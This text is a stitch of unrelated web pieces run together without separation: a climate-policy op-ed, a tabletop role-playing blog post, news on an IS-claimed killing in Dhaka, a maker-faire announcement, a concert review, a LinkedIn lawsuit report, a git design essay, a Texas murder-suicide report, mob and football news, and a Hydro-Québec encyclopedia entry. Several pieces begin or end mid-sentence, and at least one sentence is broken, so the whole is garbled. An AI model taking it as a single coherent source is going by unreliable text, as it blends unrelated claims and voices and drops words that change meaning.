You can bet Obama agrees. It’s how he views all issues; not as either/or choices but as matters suited to risk management and centrist politics. His rhetoric may be "apocalyptic" but his agenda is still "all of the above." It isn’t nearly enough. The Paris conference, even if successful, won’t be enough. We need a far bolder strategy. Here are four of its vital points.
1. We must act now, not vow to act in five or 15 years. If we wait till it gets any hotter it’ll be too late. In a 2012 Rolling Stone article, Bill McKibben sketched some now famous math done by British financial analysts. Their bottom line: to stay under the 2 °C limit we must leave 80 percent of all coal, oil and gas reserves in the ground. "Keep it in the ground" has since become a worldwide battle cry. On Tuesday 400 organizations and individuals called on Obama to stop leasing federal lands and waters to oil and gas companies. He should do as they ask. When he does he should tell the American people he now knows it is no longer a distinction to lead the world in fossil fuel production, and that we must leave most of what we have found in the ground.
Obama has two entirely divergent energy policies. The time has come for him to pick one. Natural gas is not, as he would have it, a bridge to a clean energy future. Fracking is dangerous and a giant waste of resources. We’d emit far less CO2 and import far less oil by spending the money on weatherization and other forms of conservation. Conservation is the real bridge to a clean energy future. It would help if he began saying so. We don’t need oil that is dirty, expensive and dangerous to recover. That means no shale oil, and no Keystone pipeline.
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2. All of our current carbon reduction programs are ineffective. Fuel efficiency standards are a case in point. In 2012 Obama announced tough new rules requiring new cars and trucks to average 54.5 miles per gallon by 2025. But it seems the government lets automakers cheat on the tests. The Union of Concerned Scientists calculates that a car that posts 54.5 mpg on the fake test will only get 39.4 mpg on a real road. In effect, the rules give automakers 10 years to sell us cars they sell in Europe right now.
When Obama announced these rules in 2012, annual gasoline consumption in the U.S. had hit a modern low of 133.4 billion gallons. Analysts predicted even steeper declines. Instead, consumption rose a billion gallons in 2013. In 2014 it rose 2 billion gallons. It’s on track to rise 4 billion gallons in 2015. Why? As gas prices fell, people drove more miles and bought fewer hybrid or all-electric cars and more gas-guzzling trucks and SUVs. Obama loves "market-based solutions." But when this year’s market demands more trucks and fewer hybrids it drags down fuel efficiency next year and for years to come. We just can’t afford that.
Obama’s love for market-based solutions is one reason why rules like these get written in closed-door sessions pitting high-priced industry talent against political appointees and civil servants. Behind all the market jargon hides a hard truth: We have ceded to corporations much of our power to regulate commerce in the public interest. To get fundamental change, we must take it back.
3. The move to green energy can happen fast and if done right will be far from painful, even in the short term. Yet even Democrats frame the choice as a trade of present pain for future comfort; endure some hardship now and you’ll be spared worse down the line. Here is Obama in Anchorage:
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It will not be easy. There are hard questions to answer. I am not trying to suggest that there are not going to be difficult transitions that we all have to make. But if we… make our best efforts to protect this planet for future generations, we can solve this problem.
We must stop talking like this. The faster we go green, the less we suffer -- and not in the sweet by and by but right now. Consider conservation. Even as prices fall, the cheapest energy is still the energy you don’t use. Families and businesses can reap vast savings from conservation. Add the many hundreds of thousands of direct jobs a national conservation campaign could generate and you begin to grasp the real economics of the choices we now face. The same is true of renewables, especially solar.
In the last five years the cost of solar electricity has fallen by an astonishing 50 percent. In the world’s sunnier climes solar power is already cheaper than any fossil fuel. Another 50 percent drop in solar prices and it’ll be game over. You’d think this would spur a massive public investment in photovoltaic research and development. You’d be wrong. Instead, at the worst possible moment, government incentives for solar installation are drying up. State and local subsidies are down 80 percent from their 2002 high. The federal income tax credit is set to expire. As noted, utilities want to impose monthly fees on solar panels. I’d say there was a conspiracy to slow the pace of solar energy, but it’s all too obvious to be called a conspiracy.
4. This is a fabulous opportunity, not a hard choice. The transition to a sustainable economy based on conservation and renewable energy is the economic recovery program the politicians have been looking for but can’t find. In the '90s America prospered because it led the world into the information age. The green revolution is even bigger and, as grows clearer every day, more benign. And yet we seem content to let other nations lead the way.
The "new economy" of the '90s had no opponents to speak of, only cheerleaders, largely because it didn’t displace any old industries, just workers. It was the first technological revolution to destroy more jobs than it created, but anyone who said so back then was instantly scorned. Its technology abetted the malignant growth of giant corporations that devour all things small. Government did all it could to help.
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The new "new economy" is in every important way the opposite of the old "new economy." It’s a surefire job creator and the jobs it creates are more apt to stick around. It fosters localism and sustains rather than destroys small business. But because it threatens powerful interests it must overcome the opposition of the very government that by rights ought to be its best ally. We stand at the threshold of a great transformation. The only question is whether we will cross it in time. Politics is all that holds us back.I created two incredibly powerful weapons for the story of one of my campaigns to revolve around.
The first weapon was Occam’s Razor. It was a wickedly sharp sword, and the legend said the wielder could bend reality to her will (twice a day), so long as what she wished to happen made logical sense and didn’t require too many assumptions. If a character wanted to go somewhere, she could hold Occam’s Razor and explain how she could get a ride. She couldn’t say “I wish a helicopter would come down from the sky and pick us up” but the character could say “That nice nun with the twin pistols who drives the church van (an established NPC in that campaign) lives around here. It would make sense if we saw her driving by.”
The rule for the razor was the character held the sword, explained their logic, and I decided if it made enough sense. If it did, reality bent, and it happened.
Occam’s Razor had an equally powerful counterpart: Arkham’s Razor. Arkham’s Razor was a wickedly dull sword that had the same twice-a-day power, but it worked in the opposite way. The user had to explain how something would happen using the least logical means available. With Arkham’s Razor, a person waiting for a ride wouldn’t ask for a bus, a car, or a plane to come by and give them a ride. They’d explain how a purple worm would erupt from the ground, swallow them whole, dive back into the earth, and burrow its way to their destination. Also, the inside of the worm would be fully furnished with a large book and DVD collection, a 72” flat screen, couches, and surround sound.
If you want some of the context, read on. If you want the items my players accidentally created without context, then go here (next week when I post it).
Barebones Context: Because some people care about the plot.
This took place during one of my Monster Campaigns. The players learned an illithid named Solaris, a known enemy of their employer, was actively searching for some kind of hidden, reality-bending weapon. Through some roleplaying and skill checking, they managed to find out information that told them where Solaris thought the sword resided.
They embarked on an epic quest and eventually found the sword. Unfortunately, it was in a giant cemetery and guarded by two undead beholders. Just as the fight began, a thief swiped Occam’s Razor during the fight, and ran off into the graveyard, locking the players in with the beholders.
After a grueling battle, they defeated the beholders, caught up to the thief, and retrieved Occam’s Razor from him. Through some experimentation, they learned how the sword worked and that they could use its reality-bending powers twice per day.
To my surprise, they feared the weapon and decided to use it as little as possible. They knew how powerful such an ability was. They knew they might accidentally cause great harm if they used it, even in a seemingly non-destructive way. Once they returned to their base of operations, they hid the razor in an underground well about 70 ft below the ground. At 70 ft, it was out of the range of a Detect Magic spell if someone was trying to find it on the surface.
They decided to set out and follow up on some leads so they could find Solaris.
Then the campaign started getting weird.
What the players didn’t know was that Solaris had obtained another reality-bending magical weapon, one they had no idea existed, Arkham’s Razor. So every game, I started introducing increasingly strange elements. Coincidences and strange circumstances started becoming eerily common and unexpected events always seemed to favor their enemies.
Here are some ideas on how to make the story purposefully weird:
Have every discarded item after a certain point always reappear in their bags, weighing them down when they try to get new items.
A previously unknown colony of people claim that a PCs horse is their long lost ruler. They attempt to murder the PCs for enslaving their ruler.
Everything the PCs try to eat, whether it is rations or food from a tavern, starts talking and pleads for its life, screaming if it is consumed. It’s up to you whether or not NPCs can hear the food.
Every time they try to count something, they always get a different number.
I did that steady increase in absurdity over a month or so until they couldn’t ignore it any longer. They realized it truly had to do with the plot and not me being a strange person when they found Occam’s Razor in their belongings while they were hundreds of miles away from where they hid it.
They started doing research on items related to Occam’s Razor. Through some high ranks in Gather Information, they learned of the origins and of Occam’s Razor and learned about the existence of Arkham’s Razor. That coupled with the fact that so many weird things were happening to them, they figured out that Solaris must already have Arkham’s Razor, and he was using it to hinder and try to kill them.
With Occam’s Razor in their possession once again, they started debating what to do. Should they go after Solaris while they had the Razor? What if he managed to take it from them?
While holding Occam’s Razor during that discussion, one of the players accidentally said something that made logical sense.
“If there are two of these weapons, shouldn’t there be more of these insanely-powerful artifacts with different, awesome powers?”
He felt a bit of power leave the sword and they realized they had made more reality-bending weapons. Unfortunately, they didn’t know where they had materialized or what exactly they did.
Part Two: where they learn what they accidentally created and they confront Solaris.
Jesse Galena
@RexiconJesseNEW DELHI: The Islamic State’s claim that it had tracked and killed Cesare Tavella, an Italian aid worker, in Dhaka on Monday, has come as a surprise to the Indian intelligence agencies which believe the murder may have been carried out by elements subscribing to IS ideology and not necessarily its active members."There has been no concrete evidence of IS’ direct presence in Bangladesh. But the country does have a worrying proliferation of radical Islamic groups who pose a clear terror threat. The killing of the Italian may have been a lone-wolf attack by an IS sympathizer," a senior intelligence officer told TOI.Incidentally, the officer did not rule out similar lone-wolf attacks in India, where a section of youth has been showing interest in IS content and posts online. Around 10 Indians are currently believed to be in ISIS territory in Syria/Iraq, while nearly 25-30 youth have been prevented from joining the outfit. Importantly, around 10 youth were deported to Kerala from UAE recently after they were found to be in touch with active ISIS members based in Syria."There is a clear and present danger of a radicalized individual or group, swayed by IS’ ideology of violent extremism, attempting a lone-wolf attack in India. The agencies are alert and are pro-actively tracking such suspect elements, especially their online exchanges, and intervening the moment they betray signs of joining the IS or travelling to Iraq/Syria," said a senior officer.The fact that such a lone-wolf attack has now happened in Dhaka has only made the threat of similar strikes in India, more credible. Interestingly, though the IS has purportedly owned up to killing the Italian aid worker, the Indian agencies are cautious about taking the claim at face value. The fact that the mode of killing was different from the IS "known" style of beheading its victims, has added to the suspicion of the agencies here that the attack may have been staged by elements brainwashed by IS ideology but not directly connected to it.On Saturday, April 13, 2013, a free "mini maker faire" event will be taking place at the Cleveland Public Library, in downtown Cleveland, Ohio. Modeled on the legendary Maker Faire of San Mateo, California, the mini maker faire will be a celebration of ingenuity and the do-it-yourself (DIY) spirit.
I'll be one of the workshop presenters at this event and I'm expecting a large number of penguins will be attending. Note: "Penguins" are an affectionate name for open source enthusiasts—so named in honor of the Linux mascot, Tux.
Maker movement events like this one are a magnet for penguins because open source hardware and software are so integral a part of the maker movement. From Raspberry Pi's to Arduino microcontrollers to Inkscape-designed cutting patterns—open source shows up in some way or other at almost every booth at a maker event.
What makes this event particularly exciting is that the Cleveland Public Library has made a deep, long-term commitment to supporting the maker movement at the public library—with a 7,000 square foot maker space: TechCentral. Read more about it in MAKE magazine. Some of the computers at TechCentral run Ubuntu systems with OpenShot, Audacity, Inkscape, and GIMP installed on them.
I'll be teaching a workshop at the event on how to create your own Blu-Ray DVD disks. I'm deeply interested in the intersection between technology and human dignity. A question I've been asking myself is: "How do people's self-perception change when they see how easy it is to create high resolution representations of their own ideas and point of view?" I've created this thinking out loud YouTube video with some related wonderings, too.
I was hoping to incorporate more open source into my workshop, but the Linux burning application I like to use, K3b, can burn Blu-Ray video to Blu-Ray disks, but not to DVD disks. I don't own a Blu-Ray burner, so I've not been able to try out the features of this software yet. Perhaps some programmer will be able to figure out how to hack K3b so that it can burn Blu-Ray video to DVD disks—in the same way that Roxio Toast 11 can do so on Macs.
If you're a penguin and plan to attend my workshop, bring along your laptop with OpenShot video editor installed. I'm happy to give you some time and space for an OpenShot demonstration; it's an excellent video editing program that rounds out an open source media production suite and is able to export video to Blu-Ray format.
Want to explore some uncharted terrain? Create some Blu-Ray video storytelling using Inkscape graphics. To whet your appetite, see these three YouTube videos I recently made:
Open source enthusiast St. Francis of Assisi said it best when he said:
Start by doing what is necessary, then what is possible, and suddenly you are doing the impossible.
At the Cleveland Mini Maker Faire, lots of people will be sharing what's possible. What's impossible is just a short grab away from what is possible. In this situation, we encourage you to stick your arm out, because is there anything more thrilling than grabbing ahold of the impossible and dragging it into the circle of the possible? In the open source community, we do this as a matter of course.If you’ve ever wondered what it might be like to see the world as a lizzard or a bumble bee or some other animal, you’re in luck: a new peice of open access software allows you to see how other creatures see the world.
Humans can only see the visible spectrum, but many animals see the world differently. A team of researchers from the University of Exeter have created a piece of software that convert digital images into animal color spaces — including the UV spectrum and adjusting reflection, absorption, and spectra of light seen by animals — to replicate how they see the world. The image above shows an example: on the left is a human-visible scene of lizards basking on a rock; on the right is how the lizards themselves see the scene. Notice how the markings on the male lizard’s flank are more prominent on the right side.
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Meanwhile, the image below shows a dandelion as seen in human vision on the left and honeybee on the right. The center of the flower absorbs UV light while the ends of the petals reflects it — luring in the insect.
The software’s already been used by the researchers to understand color change in green shore crabs and track human female face color changes through the ovulation cycle among other things. Now, the software is available to play around with data available for you to see how insects, birds, fish and even ferrets see the world. Try it out.
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[Methods in Ecology and Evolution via PhysOrg]
Images by Jolyon TrosciankoOn Sunday, July 20, Sara Bareilles took on Madison Square Garden in a big way. Her Little Black Dress tour had kicked off in Chicago 10 days earlier, and from the looks of it, Bareilles was having the time of her life belting out songs from her Grammy-nominated album, "The Blessed Unrest."
So, to all those guys who have broken Bareilles' heart since she burst on the scene with "Little Voice" in 2007... sorry, but the joke's on you.
Here are eight reasons why everyone should see Bareilles live:
She's hilarious.
In between songs, Bareilles kept the audience entertained with wisecracks about everything from getting dumped to how much money she was making that night.
"You sound like a million bucks," Bareilles told the audience after her opening number. "No, literally I'm making like a million bucks tonight, it's incredible."
She actually wears a little black dress.
Really! (See above.)
She drops the f-bomb a lot.
With power ballads like "King Of Anything" and "Brave," we probably should have expected this, but it was still great.
"Any lovebirds out there tonight? Well, fuck you," Bareilles said before performing "I Choose You," and it was the best.
She mixes the old and the new.
Unfamiliar with her newer stuff? Trust us, you'll still get to hear "Love Song" and "Gravity."
Her energy is contagious.
We're pretty sure we could have shown up in the worst mood ever and left feeling great. When she wasn't banging on the piano, throwing her head back in laughter and sipping on beer, Bareilles was getting the audience on their feet to dance.
You'll probably cry.
Hey, everyone needs to let it all out sometimes. When Bareilles takes on a sad song, she goes all in. Just try get to the end of her performance of "Manhattan" with dry |
email contacts. “If a LinkedIn user leaves an external email account open, LinkedIn pretends to be that user and downloads the email addresses contained anywhere in that account to Linkedln’s servers,” the complaint reads. “LinkedIn is able to download these addresses without requesting the password for the external email accounts or obtaining users’ consent.”
Once it has the addresses, the plaintiffs say LinkedIn sends what they describe as “endorsement emails” for various products and services. “These endorsement emails contain the name and likeness of those existing users from whom Linkedln surreptitiously obtained the list of email addresses,” the complaint goes on.
The plaintiffs say its all part of a marketing strategy that’s overtly described in LinkedIn’s regulatory filings with the U.S. Securities and Exchange Commission, saying it intends to “pursue initiatives that promote the viral growth of [its] member base.”
I asked LinkedIn for a response and didn’t get one right away, but I will update the post when I hear back (it is Saturday, after all). However, the company has denied the allegations and called them “without merit,” in comments to Bloomberg and the Los Angeles Times.
Update: Here’s LinkedIn’s full statement:
“LinkedIn is committed to putting our members first, which includes being transparent about how we protect and utilize our members’ data. We believe that the legal claims in this lawsuit are without merit, and we intend to fight it vigorously.”
If you want to read all the details from the original complaint, here’s that, too.
Linked in ComplaintFiles, whose contents are stored directly (without the filename or other metadata). Trees, which represent directory structures. Imagine a text file that contains a sequence of lines "<path/for/file> <file SHA1>". Commits, which represent history. Imagine a text file that contains a commit message followed by the SHA-1s of a tree and one or more parent commits.
This is a braindump about git. I don't describe commands, like how to add and remove files, because they provide tutorials as well as translation guides for users of other tools. Instead, I'm trying to describe what distinguishes git from other VCSes in the same space (sort of a hobby of mine, see more posts ) and what makes it interesting. This is the sort of thing I wish I could've read when I first started looking into this. The place to start is at the philosophy, because that makes a lot of other decisions more clear. Imagine you're Linus. You're managing a huge code base with many contributors, but you don't really care much about version control as it currently exists -- you've been content in the past managing the whole thing by just patches and email. What do you need to get more work done with less pain?With that in mind, git to me feels much more like a "content tracker" (their term) than a "version control system". It starts with a content-addressable file system as its primitive and then adds the minimal layer of glue on top of it to support some work flow, but above all the focus is speed and simplicity. For example, "git clone" is a shell script that calls curl and rsync, among others. For another example, git more or less doesn't handle renames in any sort of principled way, nor do they care much about merge algorithms -- I recall reading some thread where Linus argued that it's better to conflict than do something fancy because you want a human to look over it anyway in cases where the merge starts getting fancy. The whole thing still feels super weird to me because the similarity to monotone is obvious but the end result is really different.Let's start with the repository representation. (You can skip this section if you get monotone or mercurial, because as I understand it this is the bit of monotone that everyone borrowed.) Through underlying representations you don't need to care much about, imagine you can store and retrieve blobs of bytes keyed by their SHA-1. You can build pointers between blobs by storing collections of SHA-1s, which themselves get new SHA-1s representing the collection. Suppose you've stored two blobs with SHA-1s A and B; you can then store a blob whose contents is literally just the string "A
B" and hash that, getting SHA-1 C. When you pull C out again, its content is then just the pointers you need to the original two blobs via their SHA-1. The important property of SHA-1s is that they are (hopefully) unforgeable, which means that the SHA-1 C is all you need to uniquely identify the original blobs.Git stores four sorts of blobs. The important ones are (glossing over some details here):The important thing to note is that a single SHA-1 of a commit, because of the chained SHA-1 pointers, uniquely identifies not only the entire state of a tree of files, but also all previous states of the tree. One SHA-1 can identify an entire history. (But also note there's no provisions for tracking renames; they actually try to identify renames by looking for similar file content across different versions(!).)Git's underlying store of these objects has some nice properties, like how files are only added and never modified. (This means it can make hardlinks between copies of local repositories without needing to implement copy on write.)Here's where git starts to diverge from monotone. You have this pool of files and SHA-1s, and you need to know which SHA-1 to start at to do a checkout. Git uses text files, stored outside of the SHA-1 database in.git/refs/, that each contain an initial commit SHA-1. A new tree has one file: heads/master, aka the "master" branch. If you create a branch, all that does is make a new refs file. Commits "on" a branch add all the objects described in the previous section and then change the branch ref to point at the new commit, leaving the master ref alone.If you've cloned from another source, its head is also represented with a branch at remotes/origin/master. This allows you to pull upstream (with "git fetch") and look at it before you attempt a merge. Git is the first DVCS I've seen that has a good story for looking at a remote person's work. You can pull their tree into your repository as a branch alongside your other branches, and can use the normal git tools for diffing and merging between branches. If you don't like their code, you can throw away the branch without leaving any effect on your code.Tags are, to quote Linus, " 100% the same thing " as branches: files that contain the SHA-1 of a particular commit. In practice they're handled differently by the git tools, like how "git branch" only displays branches and not tags, andthat commit update branch pointers but not tags, but the underlying representation and effects are identical. (There's a separate "tag object" concept used for GPG-signing golden releases, but I won't get into that.) You can even create your own tag-like files under the refs directory and git will pick them up and use them like tags.All of these structures involve forward pointers: branches point at commits point at trees point at files. When you delete a branch (suppose you decide to stop tracking some upstream source), how do you tell whether the data it pointed at is still useful? Git's solution is just to require a separate occasional garbage collection step that I imagine does the natural mark and sweep.When I first learned of this it seemed a bit ridiculous, but on further reflection it's actually sorta sensible; there are other useful processes (such as "repacking", which restructures the database to make it more space-efficient as well as sync-efficient) that also take enoughtime to run that you wouldn't want to do them "online" (in response to a user action). As I think Graydon observed, it's hard to beat git's sync speed when its "clone" operation literally involves shoveling compressed bytes directly off of disk over the socket. Contrast thiswith, for example, SVN's FSFS backend, which writes each commit as deltas into separate files and makes checkout of even just the most recent version of a single file involve ferreting around in multiple files.The other weird aspect of git that makes me think "content tracker" and not "version control" is that they're surprisingly cavalier about rewriting history. For example, consider the "git rebase" command. As I understand it, this command rolls your branch back to the point where it diverged, jumps forward to the head, then reapplies your branch's changes. (If that's not clear, there's a nice ASCII art diagram in the man page.) Instead of having history represent the flow of development (where there's a fork and then the forks meet again), it re-linearizes two branches into a serial path. This makes your history "cleaner" -- after all, if the rebase worked without problems, the changes were independent anyway -- but took me a while to grok because it seemed so strange to want to do this. (For example, it's not safe to do on any sort of shared repository.)But again, consider the "Linus's global army" basis of the system: when you're sending code upstream, it's your responsibility to provide a patch series that is as clean as possible. The rebase man page linked to above also discusses how to take an existing series of commits and re-construct them in a new branch, to allow you to clean up each commit and remove unuseful experiments, so that the new branch can be what you submit.(Personal aside: it doesn't seem that important to me to linearize history; in a sufficiently churning project you're going to have a branchy history and what you really need are tools to make that clearer. I always think of this picture from monotone-viz, showing a complicated project. On the other hand, this sort of behavior has prompted interesting-looking experiments, and in my mind that's always a good thing -- who knows what they'll discover.)Git sorta gets a free pass in the n+1 space because it came with its killer app: Linux. Because of Linux, there is a surprising quantity of software built around git, such as repository browsers, GUIs, and importers from other systems. It also seems plausible to me (though I haven't thought it through) that because of its simplistic design it's easier to write an importer for git (or maybe it's just because there are more people contributing code) but the svn bridge for git is the best I've yet seen, supporting tracking an upstream svn repository and pushing commits out.Git pretty much requires cygwin; the tools are written in a mixture of C, shell, and even Perl. There is a mingw port (which doesn't quite work for me, though I think my computer may be broken) as well as efforts to make a more "native" port, by rewriting the scripts in C -- even the MinGW port installer includes stuff like bash.Git, being written by Linus, is likely biased in its performance characteristics towards Linux. It's noticeably slower on Windows, but mostly because it's so fast on Linux.The main thing people rave about with git is its speed, and I can see why. At work we deal with a few agonizingly slow version control systems and it has all the sorts of negative effects you'd expect: people adjust their workflow to avoid touching the VCS, which harms productivity as well as the processes we have for maintaining code quality; people don't test all changes against clean checkouts because they take too long. The difference between five seconds of latency and instantaneous can change your workflow entirely. Particularly git's branching is so lightweight it's painless to create and switch between branches and the normal workflow of doing anything is to start by creating a branch. If someone interrupts you with a quick fix, you can instantly flip your checkout to the state before the branch, apply the fix, and even rebase your branch on top of the fix so it's as if you inserted the fix into your history graph.Their command "revert" actually creates an undo patch. The "revert" command seen in every other system is called "reset". (darcs still wins the prize for most gratuitously renamed commands.)Git adds a middle layer between your code and committing it called "the index" or "staging area". I imagine this makes some aspect of the system easier, but can make status messages confusing. If you look at the "reset" docs you'll be confronted with this.Git is low-level and tends to get pretty ugly when things go wrong. People are improving this rapidly, though (I guess 1.5 changed a bunch of the commands around) so I have hope this will change.The important things for me to realize about git were that (1) it'll never go away completely unless someone makes something significantly better for Linus, which is especially unlikely because git was made by him specifically for his workflow; (2) it's been adopted by other big projects like x.org and wine; and (3) there are a lot of people hacking in its space -- it moves quickly. Even if something like mercurial is "better" it's not significantly¹ so. To me it makes git sort of inevitable as the system of choice, despite its flaws and ugly corners.1 Googlers who are familiar with the Yegge/Ruby debacle will recall Sanjay's comment regarding Ruby: "a language that is not significantly different than Python". Which from an immediate perspective seems almost inflammatory but taken honestly really has some truth: roughly the same constructs, performance characteristics, tools, etc.CONROE, Texas – A man shot and killed his 3-year-old daughter before turning the gun on himself Friday evening.
The man was served papers to give up custody of his daughter to his ex-wife by deputies with the Montgomery County Precinct 3 Constable's Office. The man had been messaging his ex-wife while inside the apartment that he planned their daughter, according to the constable's office.
Deputies arrived at the Dominion Apartments off the North Freeway, just south of FM 1488, just before 6 p.m. The man didn't answer the door at first, then later after he walked out of his apartment, a deputy approached the man, who then pulled out a gun and pointed it at both his head and chest.
Conroe SWAT and police were called in, and after about a 20-minute standoff, the man shot himself in the head.
When deputies entered his apartment, they found the 3-year-old girl with a gunshot wound to her head.
Neither the man's identity nor his daughter's identity have been released.Joseph (Joey Caves) Competiello a former mob soldier in the Colombo crime family along with the feds are looking for a reduced sentence for his earlier cooperation. The feds are urging for leniency for the former wiseguy who is facing life in prison after admitting to five murders as part of his plea deal agreed to when he flipped. Competiello has now served six years since his arrest and cooperation and Team America is asking for him to be sentenced to time served.
“Joseph Competiello”
The cooperation of Competiello was the beginning of the end of the Colombo family according to a source in law enforcement. He came forward to help the feds solve the 1997 mob hit on former NYPD officer Ralph Dols which the feds claim caused a chain reaction of others flipping that resulted in the arrest and convictions of a huge chunk of the families made members.
The case had gone unsolved until Joey Caves came forward and fingered the hit team which included then Colombo capo’s Dino Calabro and Thomas Gioeli. Calabro would then decide to himself turn rat and implicate the former Colombo family acting boss Joel Cacace who wanted the hit done because the cop had married his ex-wife. Solving the Dols case and the eventual fallout definitely was a major hit to what many believed to already be the weakest of the five families of the New York Mafia.
Sources believe it is unlikely that a judge next week sentences Competiello to only time served but with the feds behind him its not impossible and he will def be in line for some kind of reduced verdict.From the section
Media playback is not supported on this device FA Cup: Sheffield United 6-0 Leyton Orient - highlights
Harry Chapman scored a hat-trick as Sheffield United thrashed Leyton Orient 6-0 to ease into the second round of the FA Cup.
Chris Basham, Stefan Scougall and Kieron Freeman also found the net for Chris Wilder's men.
The visitors had an early opening when Ollie Palmer forced his way through in the area and forced debutant Aaron Ramsdale to make a save.
United then took control and Basham scored with a close-range header in the 22nd minute after John Fleck darted into the area and delivered a pinpoint cross.
Midfielder Scougall increased United's lead 17 minutes later after Mark Duffy's free-kick caused problems for the opposition defence.
Freeman added a third goal with a diving header from Chapman's cross in the final minute of the half.
Chapman slipped the ball past Alex Cisak to score following a good run into the area nine minutes after the restart and then found the net again 15 minutes later after meeting a David Brooks cross.
Chapman completed his treble in stoppage time, chipping over Cisak following a defensive error.
Report supplied by the Press Association.The legend of Toronto's most entertaining grocery store chain continues this week with the discovery that deodorant is now under surveillance at a No Frills location near St. Clair West.
Jill Rosenberg broke the news on Instagram yesterday, writing "Good to know they are watching anyone tempted to test out the deodorant on their pits at the local No Frills."
Her photo shows a piece of paper, taped loosely to a metal pole near some toothbrushes and Polident, that reads "All deodorants are under surveillance."
Rosenberg says she spotted the sign at Freddie's No Frills on Alberta Ave., right off St. Clair Street between Dufferin and Christie.
Good to know they are watching anyone tempted to test out the deodorant on their pits at the local No Frills #eww #gross #weirdtoronto A post shared by Jill Rosenberg (@marsgirl66) on Sep 25, 2017 at 1:00pm PDT
"I just moved back to Toronto after living in Dubai for 6 years," she explains. "So I have my eye open for local things that are quirky and absurd."
Quirky as it may be, signs like this don't generally get printed up with the sole intention of amusing grocery store customers.
Toronto is, after all, living through an unprecedented late-September heat wave, and deodorant is humanity's first defence in the fight against smelling sweaty.
Rosenberg theorized in the Weird Toronto Facebook group that people must be testing out deodorant right there in the aisles for management to install a security cam.
Others who commented on the photo suggest that the culprits are shoplifters or employees who work when the store is closed and "use a different stick every night."
Customer service representatives at No Frills were unable to comment on the matter by phone, nor could they provide us with a direct number to the store in question.
We don't even know for sure that the deodorant is under surveillance at this point – only that customers are being warned about it.
Either way, it's probably safe to refrain from doing weird stuff in the deodorant aisle at Freddie's No Frills right now. Or ever.Hydro-Québec is a public utility that manages the generation, transmission and distribution of electricity in Quebec.
It was formed by the Government of Quebec in 1944 from the expropriation of private firms. This was followed by massive investment in hydro-electric projects like Churchill Falls and the James Bay Project. Today, with 63 hydroelectric power stations, the combined output capacity is 36,912 megawatts. Extra power is exported from the province and Hydro-Québec supplies 10 per cent of New England's power requirements.[4]
Hydro-Québec is a state-owned enterprise based in Montreal. In 2015, it paid CAD$2.36 billion in dividends to its sole shareholder, the Government of Québec. Its residential power rates are among the lowest in North America.[5]
More than 40 percent of Canada’s water resources are in Québec and Hydro-Québec is the fourth largest hydropower producer in the world.[4]
The company logo, a stylized "Q" fashioned out of a circle and a lightning bolt, was designed by Montreal-based design agency Gagnon/Valkus in 1960.[6]
History [ edit ]
Montreal Light, Heat and Power linemen. linemen.
1945–1959: beginnings and development [ edit ]
In Quebec, advocates for the creation of a public hydroelectric utility protested against high costs, poor rural electrification, and the lack of French speakers in management positions in hydroelectricity companies.[7] In 1944, Montreal Light, Heat & Power company was nationalised, along with its subsidiary, Beauharnois Power, and Hydro-Québec was created to manage the companies.
Quebec Premier Adélard Godbout adopted a policy of investing 10 million dollars per year in rural electrification.[7] However, in 1944 the government changed, and the new premier Maurice Duplessis was opposed to any form of government intervention in the economy.[8] Local cooperatives were created to bring power to rural areas. Duplessis remained in power until 1960, and during that time there were no further nationalisations of companies, and Hydro-Québec mostly served the Montreal area.
Major projects included:
Between 1944 and 1962, Hydro-Québec's installed capacity increased from 616 to 3,661 MW[9] while lowering residential power rates by half in the Montreal area.[10]
1960–1979: the second nationalization [ edit ]
Duplessis's conservative reign, now known as the Grande Noirceur, ended when he died in office in 1959. The subsequent election of the Quebec Liberal Party, led by Jean Lesage, marked the beginning of the Quiet Revolution, a period of reform and modernization. The new government gave Hydro-Québec an exclusive mandate to develop new sites. In 1963 the government authorized it to acquire private electricity distributors, including the Gatineau Power Company and the Shawinigan Water & Power Company Hydro-Québec achieved province-wide scope.[12] All of the 46 rural coops accepted Hydro-Québec’s 1963 buyout offer, except Saint-Jean-Baptiste-de-Rouville which still exists. Major projects during this period included:
1980–1996: restructuring [ edit ]
Because of the economic climate, demand for electricity dropped significantly in the early 1980s, which led to structural changes at Hydro-Québec. It became a joint stock company whose sole shareholder is Government of Québec, to which it pays an annual dividend. It was also given the mandate to export power and to work in any energy-related field.[16]
In 1986 the Quebec – New England Transmission began bringing power from the James Bay Project 1,100 kilometers south to the Boston area.
Phase II of the James Bay Project started in 1987 and took nine years to complete. Construction of the Denis-Perron Dam began in 1994.
1997–present: renewed growth [ edit ]
Like its counterparts in the North American utility industry, Hydro-Québec was reorganized in the late 1990s to comply with electricity deregulation in the United States. The transmission division, TransÉnergie, was the first to be spun off in 1997, in response to the U.S. Federal Energy Regulatory Commission's publication of Order 888. In the same year, the U.S. Federal Energy Regulatory Commission granted Hydro-Québec a licence to sell wholesale electricity at market prices, enabling Hydro-Québec to expand its market. Hydro-Québec also acquired a substantial share of Noverco, controller of natural gas distributor Gaz Métro, to participate in that market in northeastern North America.[18]
the Rupert River diversion will channel part of the natural flow of the river (orange on the map) to the Robert-Bourassa Reservoir
In 2002 the Agreement Respecting a New Relationship Between the Cree Nation and the Government of Quebec between the Grand Council of the Crees and the Quebec government made possible the development of the Eastmain Reservoir. The Eastmain-1-A and Sarcelle powerhouses and Rupert River diversion project were completed at a cost of $5,000 million CAD. This will provide water power to the turbines at Eastmain-1, Eastmain-1-A and Sarcelle powerhouses and will provide increased flow at the existing La Grande-1 generating station as well as Robert-Bourassa and the La Grande-2-A generator stations.[19] Output will be 918 MW.
Other stations commissioned since 1997 are:[20]
Sainte-Marguerite-3 in 2003, 882 MW.
Péribonka in 2008, 385 MW.
Rocher-de-Grand-Mère in 2004, 230 MW.
Eastmain-1 in 2007, 519 MW.
Rapide-des-Cœurs in 2009, 76 MW.
Chute-Allard in 2009, 62 MW
Mercier in 2009, 55 MW.
Eastmain-1A in 2012, 750 MW.
La Sarcelle in 2013, 159 MW.
Romaine-2 in 2014, 640 MW.
Romaine-1 in 2015, 270 MW.
Romaine-3 in 2017, 395 MW.
Romaine-4 scheduled to be completed before 2020, 245 MW.
Major outages [ edit ]
In 1988, all of Quebec and parts of New England and New Brunswick lost power because of an equipment failure at a substation on the North Shore. The March 1989 geomagnetic storm tripped circuit breakers on the transmission network causing a nine-hour Quebec-wide blackout.
In the North American ice storm of 1998, five days of freezing rain collapsed 600 kilometres (370 mi) of high voltage power lines and over 3,000 kilometres (1,900 mi) of medium and low voltage distribution lines in southern Quebec. Up to 1.4 million customers were without power for up to five weeks.
Corporate structure and financial results [ edit ]
Corporate structure [ edit ]
Hydro-Québec generation and main transmission network, as of 2008.
